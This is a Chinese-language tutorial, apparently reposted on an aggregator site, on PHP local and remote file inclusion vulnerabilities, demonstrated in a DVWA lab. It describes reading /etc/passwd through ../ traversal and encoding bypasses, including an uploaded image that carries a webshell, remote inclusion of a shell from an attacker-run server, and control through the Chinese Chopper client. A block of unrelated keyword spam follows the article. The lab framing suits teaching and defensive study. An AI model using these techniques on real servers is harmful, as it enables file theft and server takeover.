千家信息网

文件包含漏洞总结

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,本实验是基于DVWA和sqli-labs的实验环境实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码
千家信息网最后更新 2025年01月20日文件包含漏洞总结


本实验是基于DVWA和sqli-labs的实验环境

实验平台搭建:下载Wamp集成环境,并下载DVWA和sqli-labs和压缩包解压至wamp\www的目录下。安装只要注意Wamp环境的数据库名和密码对应即可。



0x01:文件包含漏洞

服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的。

这也算官方的解释吧,用个人的话说,通过浏览器、url地址或者是一个参数的变量的内容,可以通过修改这些url或者参数变量的内容,读取到web根目录以前其他文件,但是不同于目录浏览,目录浏览是可以通过浏览器直接显示www目录下每一个文件的名称,把目录列表给列出来。

文件包含漏洞形成原因

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这中文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,

但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSPASPASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

常见文件包含函数

include():执行到include时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行

require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本

include_once()require_once():这两个函数和前两个函数作用几乎相同,区别在于若文件中代码已被包含则不会再次包含

LFI(本地包含漏洞)目录遍历可以理解为本地包含漏洞,验证以及利用方法都相同。

RFI(远程包含漏洞)可以包含进其他主机的url地址,如自己开放一个www服务,然后在上面放一个***文件,如果是代码会在这个机器上执行的。拿到shell的权限要看运行www服务的帐号。

包含漏洞的特征:(这个可以说是文中的干货了)

在某一个页面中,一个变量的值等于一个页面文件或者是一个固定的值,如

page=a.asp

home=b.html

file=content

漏洞分类

本地文件包含:可以包含本地文件,在条件允许时甚至能执行代码

上传图片马,然后包含

读敏感文件,读PHP文件

包含日志文件GetShell

包含/proc/self/envion文件GetShell

包含data:php://input等伪协议

若有phpinfo则可以包含临时文件

远程文件包含:可以直接执行任意代码

要保证php.iniallow_url_fopenallow_url_include要为On

0x02、文件包含漏洞利用

1、包含读出目标机上其它文件

如果对取得的参数page没有过滤,于是我们可以任意指定目标主机上的其它敏感文件

linux中,"."表示当前目录,".."表示上一层目录,当../到根目录下,再往上层父目录仍旧是根目录。



用常见的"../"包含出日志文件。


2、包含可运行的PHP***

在很多地方,我们都可以上传图片,如上传头像,图片等,这这里先上传图片,图片的内容为一句话***





由于上传的限制,一般只能上传jpgpng的图片格式,代码无法执行,我们用本地包含的方式将图片包含进来,代码就执行了,代码不需要后缀名是php、asp的格式,只要内容是代码即可执行


然后用中国菜刀连接(功夫再高,也怕菜刀!)



3.远程包含url和php***

如果目标主机的"allow_url_fopen"是激活的(默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的webshell来直接运行

不需要后缀名是php、asp的格式,只要内容是代码就可以。

出现概率少于本地包含,但更容易被利用

如在自己服务器上写上一句话代码,然后用远程包含漏洞去包含这个链接,

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://192.168.0.117/a.php

然后同上,用菜刀连接,获取webshell

0x03、包含漏洞绕过技巧

在利用包含漏洞中,经常遇到一个问题,在查看page=/etc/passwd的时候,出现报错,找不到/etc/passwd.php文件,说明默认自动加上了后缀名.php,绕过的方式有一下几种

1.编码绕过字符过滤

(1)加".",当加点,会忽略点后面的内容。

(2)"",即null空字符(/etc/passwd),在php语言格式里,当遇到的时候,后面不管有无其他东西,都不看了,只看前面的内容

(3)"#",绕过文件扩展名过滤

2、编码

url编码、双层(多层)url编码

%2e%2e%2f 解码:../

%2e%2e%5c 解码:..\

%25%2e%25%2e%255c 解码:..\(可使用burp多层编码和解码)

uniclode/UTF-8编码

..%c0%af 解码:../

%c1%9c 解码:..\

编码能否正确的起到效果,得看web server是否能对编码后的做解析

3、其他系统可能是使用到的特殊字符

file.txt ...

file.txt

file .txt """"""""

file.txt <<>><

./././ file.txt



4、***向量字典

kali中,也存在***向量字典路径是"/usr/share/wfuzz/wordlist/vulns"



利用条件

程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件

用户能够控制该动态变量



漏洞危害

这类漏洞看起来貌似并不严重,一旦被恶意利用则会带来很大的危害。本地文件包含不仅能够包含web文件目录中的一些配置文件(比如Web应用、数据库配置文件、config文件),还可以查看到一些Web动态页面的源代码,为***者进一步发掘web应用漏洞提供条件,甚至一旦与路径遍历漏洞相结合,还可能直接攫取目标系统的用户名与密码等文件。并且能执行任意代码,甚至控制服务器。


文件 漏洞 代码 目录 编码 内容 函数 图片 变量 程序 服务 动态 恶意 格式 目标 被包 语言 浏览 运行 主机 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 泰坦之旅旧刻痕数据库文件 杨浦区个性化软件开发厂家直销 徐州网络安全与金融统计分论坛 申请信用卡服务器繁忙 用友采购导入数据库 列举常用的检索数据库 中关村互联网科技人才研究院 易速互联服务器 嵌入式人工智能软件开发 英国网络安全中心软件 软件开发项目在哪备案 存储接服务器 会计软件开发历史是从开发 防沉迷网络安全教育讲稿新浪 逆战迷城守护者是服务器么 新时达电梯调试服务器哪个品牌好 中国污染企业数据库 安卓手机服务器id在哪里看 服务器管理里的键盘服务 数据库建库流程图 网络安全自查报告送到派出所吗 江苏智铭网络技术有限公 网络安全产品海报收纳 山西统一软件开发值得推荐 智慧团建服务器问题 南京360收购网络安全公司 华为网络安全 视频 软件开发35岁还想搞技术 天鹅到家数据库开发招聘知乎 读一个文件每一行数据库
0